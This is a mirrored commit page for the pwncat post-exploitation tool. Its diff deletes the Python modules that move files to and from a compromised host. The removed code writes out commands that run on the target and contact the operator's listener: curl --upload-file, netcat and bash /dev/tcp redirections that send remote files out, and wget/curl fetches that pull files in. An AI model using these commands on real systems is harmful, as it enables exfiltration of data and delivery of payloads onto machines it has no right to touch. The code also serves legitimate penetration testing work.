mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Removed dead code from uploader/downloader directories. Pruned unused references to legacy 'pty' interface from a few places. Added note on BSD to readme
This commit is contained in:
parent
a2552b5439
commit
7e04faa06a
@ -1,44 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from typing import Type, List
|
||||
|
||||
from pwncat.downloader.base import Downloader, DownloadError
|
||||
from pwncat.downloader.nc import NetcatDownloader
|
||||
from pwncat.downloader.curl import CurlDownloader
|
||||
from pwncat.downloader.bashtcp import BashTCPDownloader
|
||||
from pwncat.downloader.gtfo import GtfoBinsDownloader
|
||||
|
||||
all_downloaders = [
|
||||
GtfoBinsDownloader,
|
||||
NetcatDownloader,
|
||||
CurlDownloader,
|
||||
BashTCPDownloader,
|
||||
]
|
||||
|
||||
|
||||
def get_names() -> List[str]:
|
||||
""" get the names of all downloaders """
|
||||
return [d.NAME for d in all_downloaders]
|
||||
|
||||
|
||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]:
|
||||
""" Locate an applicable downloader """
|
||||
|
||||
if hint is not None:
|
||||
# Try to return the requested downloader
|
||||
for d in all_downloaders:
|
||||
if d.NAME != hint:
|
||||
continue
|
||||
d.check(pty)
|
||||
return d
|
||||
|
||||
raise DownloadError(f"{hint}: no such downloader")
|
||||
|
||||
for d in all_downloaders:
|
||||
try:
|
||||
d.check(pty)
|
||||
return d
|
||||
except DownloadError:
|
||||
continue
|
||||
|
||||
raise DownloadError("no acceptable downloaders found")
|
@ -1,177 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from socketserver import TCPServer, BaseRequestHandler
|
||||
from functools import partial
|
||||
import threading
|
||||
import socket
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class DownloadError(Exception):
|
||||
""" An error occurred while attempting to run a downloader """
|
||||
|
||||
|
||||
class Downloader:
|
||||
|
||||
# Binaries which are needed on the remote host for this downloader
|
||||
BINARIES = []
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Check if the given PTY connection can support this downloader """
|
||||
for binary in cls.BINARIES:
|
||||
if isinstance(binary, list) or isinstance(binary, tuple):
|
||||
for equivalent in binary:
|
||||
if pty.which(equivalent):
|
||||
return
|
||||
elif pty.which(binary) is not None:
|
||||
return
|
||||
raise DownloadError(f"required remote binary not found: {binary}")
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
|
||||
self.pty = pty
|
||||
self.local_path = local_path
|
||||
self.remote_path = remote_path
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the commands needed to send this file back. This is a
|
||||
generator, which yields strings which will be executed on the remote
|
||||
host. """
|
||||
return
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" Start any servers on the local end which are needed to download the
|
||||
original_content. """
|
||||
return
|
||||
|
||||
def shutdown(self):
|
||||
""" Shutdown any attacker servers that were started """
|
||||
return
|
||||
|
||||
|
||||
class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
||||
def __init__(
|
||||
self, request, addr, server, downloader: "HTTPDownloader", on_progress: Callable
|
||||
):
|
||||
self.downloader = downloader
|
||||
self.on_progress = on_progress
|
||||
super(HttpPostFileReceiver, self).__init__(request, addr, server)
|
||||
|
||||
def do_PUT(self):
|
||||
""" handle http POST request """
|
||||
|
||||
if self.path != f"/{os.path.basename(self.downloader.remote_path)}":
|
||||
self.send_error(404)
|
||||
return
|
||||
|
||||
length = int(self.headers["Content-Length"])
|
||||
copied = 0
|
||||
chunksz = 1024 * 1024
|
||||
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Length", "1")
|
||||
self.end_headers()
|
||||
self.flush_headers()
|
||||
|
||||
self.rfile = self.rfile.detach()
|
||||
|
||||
with open(self.downloader.local_path, "wb") as filp:
|
||||
while copied < length:
|
||||
block = self.rfile.read(chunksz)
|
||||
filp.write(block)
|
||||
copied += len(block)
|
||||
self.on_progress(copied, len(block))
|
||||
|
||||
def do_POST(self):
|
||||
return self.do_PUT()
|
||||
|
||||
def log_message(self, *args, **kwargs):
|
||||
return
|
||||
|
||||
|
||||
class HTTPDownloader(Downloader):
|
||||
""" Base class for HTTP POST based downloaders. This takes care of setting
|
||||
up the local HTTP server and saving the file. Just provide the commands
|
||||
for the remote host to trigger the upload """
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Make sure we have an lhost """
|
||||
if pty.vars.get("lhost", None) is None:
|
||||
raise DownloadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||
):
|
||||
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
self.server = HTTPServer(
|
||||
("0.0.0.0", 0),
|
||||
partial(HttpPostFileReceiver, downloader=self, on_progress=on_progress),
|
||||
)
|
||||
|
||||
thread = threading.Thread(
|
||||
target=lambda: self.server.serve_forever(), daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def shutdown(self):
|
||||
self.server.shutdown()
|
||||
|
||||
|
||||
class RawDownloader(Downloader):
|
||||
""" Base class for raw socket based downloaders. This takes care of setting
|
||||
up the socket server and saving the file. Just provide the commands to
|
||||
initiate the raw socket transfer on the remote host to trigger the
|
||||
upload """
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Make sure we have an lhost """
|
||||
if pty.vars.get("lhost", None) is None:
|
||||
raise DownloadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||
):
|
||||
super(RawDownloader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
|
||||
# Make sure it is accessible to the subclass
|
||||
local_path = self.local_path
|
||||
|
||||
class SocketWrapper:
|
||||
def __init__(self, sock):
|
||||
self.s = sock
|
||||
|
||||
def read(self, n: int):
|
||||
try:
|
||||
return self.s.recv(n)
|
||||
except socket.timeout:
|
||||
return b""
|
||||
|
||||
# Class to handle incoming connections
|
||||
class ReceiveFile(BaseRequestHandler):
|
||||
def handle(self):
|
||||
self.request.settimeout(1)
|
||||
with open(local_path, "wb") as fp:
|
||||
util.copyfileobj(SocketWrapper(self.request), fp, on_progress)
|
||||
self.request.close()
|
||||
|
||||
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||
|
||||
thread = threading.Thread(
|
||||
target=lambda: self.server.serve_forever(), daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def shutdown(self):
|
||||
""" Shutdown the server """
|
||||
self.server.shutdown()
|
@ -1,20 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import RawDownloader, DownloadError
|
||||
|
||||
|
||||
class BashTCPDownloader(RawDownloader):
|
||||
|
||||
NAME = "bashtcp"
|
||||
BINARIES = ["bash", "dd"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,)
|
@ -1,21 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import HTTPDownloader, DownloadError
|
||||
|
||||
|
||||
class CurlDownloader(HTTPDownloader):
|
||||
|
||||
NAME = "curl"
|
||||
BINARIES = ["curl"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
curl = self.pty.which("curl", quote=True)
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")
|
@ -1,25 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Callable
|
||||
import os
|
||||
|
||||
from pwncat.gtfobins import Capability, Stream
|
||||
from pwncat.downloader.base import Downloader, DownloadError
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class GtfoBinsDownloader(Downloader):
|
||||
|
||||
NAME = "gtfobins"
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
|
||||
super(GtfoBinsDownloader, self).__init__(pty, remote_path, local_path)
|
||||
self.on_progress = None
|
||||
|
||||
def command(self):
|
||||
|
||||
with self.pty.open(self.remote_path, "rb") as remote:
|
||||
with open(self.local_path, "wb") as local:
|
||||
util.copyfileobj(remote, local, self.on_progress)
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
self.on_progress = on_progress
|
@ -1,21 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import RawDownloader, DownloadError
|
||||
|
||||
|
||||
class NetcatDownloader(RawDownloader):
|
||||
|
||||
NAME = "nc"
|
||||
BINARIES = ["nc"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Return the commands needed to trigger this download """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
nc = self.pty.which("nc", quote=True)
|
||||
remote_file = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")
|
@ -1,45 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
from io import BufferedReader
|
||||
import base64
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import Downloader, DownloadError
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class RawShellDownloader(Downloader):
|
||||
|
||||
NAME = "raw"
|
||||
BINARIES = [("dd", "cat")]
|
||||
BLOCKSZ = 8192
|
||||
|
||||
def command(self):
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
blocksz = 1024 * 1024
|
||||
binary = self.pty.which("dd", quote=True)
|
||||
|
||||
if binary is None:
|
||||
binary = self.pty.which("cat", quote=True)
|
||||
|
||||
if "dd" in binary:
|
||||
pipe = self.pty.subprocess(
|
||||
f"{binary} if={remote_path} bs={blocksz} 2>/dev/null"
|
||||
)
|
||||
else:
|
||||
pipe = self.pty.subprocess(f"{binary} {remote_path}")
|
||||
|
||||
try:
|
||||
with open(self.local_path, "wb") as filp:
|
||||
util.copyfileobj(pipe, filp, self.on_progress)
|
||||
finally:
|
||||
self.on_progress(0, -1)
|
||||
pipe.close()
|
||||
|
||||
return False
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" We don't need to start a server, but we do need to save the
|
||||
callback """
|
||||
self.on_progress = on_progress
|
@ -1,48 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
import base64
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import Downloader, DownloadError
|
||||
|
||||
|
||||
class ShellDownloader(Downloader):
|
||||
|
||||
NAME = "shell"
|
||||
BINARIES = ["dd", "base64"]
|
||||
BLOCKSZ = 8192
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Yield list of commands to transfer the file """
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
with open(self.local_path, "wb") as filp:
|
||||
blocknr = 0
|
||||
copied = 0
|
||||
while True:
|
||||
|
||||
# Read the data
|
||||
x = self.pty.run(
|
||||
"dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
|
||||
remote_path, self.BLOCKSZ, blocknr
|
||||
)
|
||||
)
|
||||
if x == b"" or x == b"\r\n":
|
||||
break
|
||||
|
||||
# Decode the data
|
||||
data = base64.b64decode(x)
|
||||
|
||||
# Send the data and call the progress function
|
||||
filp.write(data)
|
||||
copied += len(data)
|
||||
self.on_progress(copied, len(data))
|
||||
|
||||
# Increment block number
|
||||
blocknr += 1
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" We don't need to start a server, but we do need to save the
|
||||
callback """
|
||||
self.on_progress = on_progress
|
@ -1,48 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type, List
|
||||
|
||||
from pwncat.uploader.base import Uploader, UploadError
|
||||
from pwncat.uploader.nc import NetcatUploader
|
||||
from pwncat.uploader.curl import CurlUploader
|
||||
from pwncat.uploader.bashtcp import BashTCPUploader
|
||||
from pwncat.uploader.wget import WgetUploader
|
||||
from pwncat.uploader.gtfo import GtfoBinsUploader
|
||||
|
||||
all_uploaders = [
|
||||
GtfoBinsUploader,
|
||||
NetcatUploader,
|
||||
CurlUploader,
|
||||
BashTCPUploader,
|
||||
WgetUploader,
|
||||
]
|
||||
|
||||
|
||||
def get_names() -> List[str]:
|
||||
""" Return the names of all uploaders """
|
||||
return [u.NAME for u in all_uploaders]
|
||||
|
||||
|
||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
|
||||
""" Locate an applicable uploader """
|
||||
|
||||
if hint == "":
|
||||
hint = None
|
||||
|
||||
if hint is not None:
|
||||
# Try to return the requested uploader
|
||||
for d in all_uploaders:
|
||||
if d.NAME != hint:
|
||||
continue
|
||||
d.check(pty)
|
||||
return d
|
||||
|
||||
raise UploadError(f"{hint}: no such uploader")
|
||||
|
||||
for d in all_uploaders:
|
||||
try:
|
||||
d.check(pty)
|
||||
return d
|
||||
except UploadError:
|
||||
continue
|
||||
|
||||
raise UploadError("no acceptable uploaders found")
|
@ -1,165 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from socketserver import TCPServer, BaseRequestHandler
|
||||
from functools import partial
|
||||
import threading
|
||||
import socket
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class UploadError(Exception):
|
||||
""" An error occurred while attempting to run a uploader """
|
||||
|
||||
|
||||
class Uploader:
|
||||
|
||||
# Binaries which are needed on the remote host for this uploader
|
||||
BINARIES = []
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Check if the given PTY connection can support this uploader """
|
||||
for binary in cls.BINARIES:
|
||||
if pty.which(binary) is None:
|
||||
raise UploadError(f"required remote binary not found: {binary}")
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
|
||||
self.pty = pty
|
||||
self.local_path = local_path
|
||||
self.remote_path = remote_path
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the commands needed to send this file. This is a
|
||||
generator, which yields strings which will be executed on the remote
|
||||
host. """
|
||||
return
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" Start any servers on the local end which are needed to download the
|
||||
original_content. """
|
||||
return
|
||||
|
||||
def shutdown(self):
|
||||
""" Shutdown any attacker servers that were started """
|
||||
return
|
||||
|
||||
|
||||
class HttpGetFileHandler(BaseHTTPRequestHandler):
|
||||
def __init__(
|
||||
self, request, addr, server, uploader: "HTTPUploader", on_progress: Callable
|
||||
):
|
||||
self.uploader = uploader
|
||||
self.on_progress = on_progress
|
||||
super(HttpGetFileHandler, self).__init__(request, addr, server)
|
||||
|
||||
def do_GET(self):
|
||||
""" handle http POST request """
|
||||
|
||||
if self.path != "/":
|
||||
self.send_error(404)
|
||||
return
|
||||
|
||||
length = os.path.getsize(self.uploader.local_path)
|
||||
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Length", str(length))
|
||||
self.send_header("Content-Type", "application/octet-stream")
|
||||
self.end_headers()
|
||||
|
||||
with open(self.uploader.local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, self.wfile, self.on_progress)
|
||||
|
||||
def log_message(self, *args, **kwargs):
|
||||
return
|
||||
|
||||
|
||||
class HTTPUploader(Uploader):
|
||||
""" Base class for HTTP POST based downloaders. This takes care of setting
|
||||
up the local HTTP server and saving the file. Just provide the commands
|
||||
for the remote host to trigger the upload """
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
super(HTTPUploader, cls).check(pty)
|
||||
""" Make sure we have an lhost """
|
||||
if pty.vars.get("lhost", None) is None:
|
||||
raise UploadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||
):
|
||||
super(HTTPUploader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
self.server = HTTPServer(
|
||||
("0.0.0.0", 0),
|
||||
partial(HttpGetFileHandler, uploader=self, on_progress=on_progress),
|
||||
)
|
||||
|
||||
thread = threading.Thread(
|
||||
target=lambda: self.server.serve_forever(), daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def shutdown(self):
|
||||
self.server.shutdown()
|
||||
|
||||
|
||||
class RawUploader(Uploader):
|
||||
""" Base class for raw socket based downloaders. This takes care of setting
|
||||
up the socket server and saving the file. Just provide the commands to
|
||||
initiate the raw socket transfer on the remote host to trigger the
|
||||
upload """
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
super(RawUploader, cls).check(pty)
|
||||
""" Make sure we have an lhost """
|
||||
if pty.vars.get("lhost", None) is None:
|
||||
raise UploadError("no lhost provided")
|
||||
|
||||
def __init__(
|
||||
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
|
||||
):
|
||||
super(RawUploader, self).__init__(pty, remote_path, local_path)
|
||||
self.server = None
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
|
||||
# Make sure it is accessible to the subclass
|
||||
local_path = self.local_path
|
||||
pty = self.pty
|
||||
|
||||
class SocketWrapper:
|
||||
def __init__(self, sock):
|
||||
self.s = sock
|
||||
|
||||
def write(self, n: int):
|
||||
try:
|
||||
return self.s.send(n)
|
||||
except socket.timeout:
|
||||
return b""
|
||||
|
||||
# Class to handle incoming connections
|
||||
class ReceiveFile(BaseRequestHandler):
|
||||
def handle(self):
|
||||
self.request.settimeout(1)
|
||||
with open(local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
|
||||
self.request.close()
|
||||
pty.client.send(util.CTRL_C)
|
||||
|
||||
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
|
||||
|
||||
thread = threading.Thread(
|
||||
target=lambda: self.server.serve_forever(), daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def shutdown(self):
|
||||
""" Shutdown the server """
|
||||
self.server.shutdown()
|
@ -1,22 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import RawUploader
|
||||
|
||||
|
||||
class BashTCPUploader(RawUploader):
|
||||
|
||||
NAME = "bashtcp"
|
||||
BINARIES = ["bash", "dd"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(
|
||||
f"""bash -c "dd of={remote_path} < /dev/tcp/{lhost}/{lport}" """, wait=False
|
||||
)
|
@ -1,23 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import HTTPUploader
|
||||
|
||||
|
||||
class CurlUploader(HTTPUploader):
|
||||
|
||||
NAME = "curl"
|
||||
BINARIES = ["curl"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
curl = self.pty.which("curl")
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(
|
||||
f"{curl} --output {remote_path} http://{lhost}:{lport}", wait=False
|
||||
)
|
@ -1,29 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Callable
|
||||
import os
|
||||
|
||||
from pwncat.uploader.base import Uploader, UploadError
|
||||
from pwncat import util
|
||||
|
||||
|
||||
def fake(x, y):
|
||||
pass
|
||||
|
||||
|
||||
class GtfoBinsUploader(Uploader):
|
||||
|
||||
NAME = "gtfobins"
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
|
||||
super(GtfoBinsUploader, self).__init__(pty, remote_path, local_path)
|
||||
|
||||
self.length = os.path.getsize(local_path)
|
||||
self.on_progress = None
|
||||
|
||||
def command(self):
|
||||
with self.pty.open(self.remote_path, "wb", length=self.length) as remote:
|
||||
with open(self.local_path, "rb") as local:
|
||||
util.copyfileobj(local, remote, self.on_progress)
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
self.on_progress = on_progress
|
@ -1,21 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import RawUploader
|
||||
|
||||
|
||||
class NetcatUploader(RawUploader):
|
||||
|
||||
NAME = "nc"
|
||||
BINARIES = ["nc"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Return the commands needed to trigger this download """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
nc = self.pty.which("nc", quote=True)
|
||||
remote_file = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"{nc} {lhost} {lport} > {remote_file}", wait=False)
|
@ -1,42 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
from io import BufferedReader
|
||||
import base64
|
||||
import shlex
|
||||
import socket
|
||||
import os
|
||||
|
||||
from pwncat.uploader.base import Uploader, UploadError
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class RawShellUploader(Uploader):
|
||||
|
||||
NAME = "raw"
|
||||
BINARIES = ["dd"]
|
||||
BLOCKSZ = 8192
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Yield list of commands to transfer the file """
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
file_sz = os.path.getsize(self.local_path)
|
||||
dd = self.pty.which("dd")
|
||||
|
||||
with self.pty.subprocess(
|
||||
f"{dd} of={remote_path} bs=1 count={file_sz} 2>/dev/null", mode="wb"
|
||||
) as stream:
|
||||
try:
|
||||
with open(self.local_path, "rb") as filp:
|
||||
util.copyfileobj(filp, stream, self.on_progress)
|
||||
finally:
|
||||
self.on_progress(0, -1)
|
||||
|
||||
# Get back to a terminal
|
||||
|
||||
return False
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" We don't need to start a server, but we do need to save the
|
||||
callback """
|
||||
self.on_progress = on_progress
|
@ -1,39 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
import base64
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import Uploader, UploadError
|
||||
|
||||
|
||||
class ShellUploader(Uploader):
|
||||
|
||||
NAME = "shell"
|
||||
BINARIES = ["base64"]
|
||||
BLOCKSZ = 8192
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Yield list of commands to transfer the file """
|
||||
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
# Empty the file
|
||||
self.pty.run(f"echo -n > {remote_path}")
|
||||
|
||||
with open(self.local_path, "rb") as filp:
|
||||
copied = 0
|
||||
for block in iter(lambda: filp.read(self.BLOCKSZ), b""):
|
||||
|
||||
# Encode as a base64 string
|
||||
encoded = base64.b64encode(block).decode("utf-8")
|
||||
|
||||
# Read the data
|
||||
self.pty.run(f"echo -n {encoded} | base64 -d >> {remote_path}")
|
||||
|
||||
copied += len(block)
|
||||
self.on_progress(copied, len(block))
|
||||
|
||||
def serve(self, on_progress: Callable):
|
||||
""" We don't need to start a server, but we do need to save the
|
||||
callback """
|
||||
self.on_progress = on_progress
|
@ -1,20 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import HTTPUploader
|
||||
|
||||
|
||||
class WgetUploader(HTTPUploader):
|
||||
|
||||
NAME = "wget"
|
||||
BINARIES = ["wget"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"wget -O {remote_path} http://{lhost}:{lport}", wait=False)
|
Loading…
Reference in New Issue
Block a user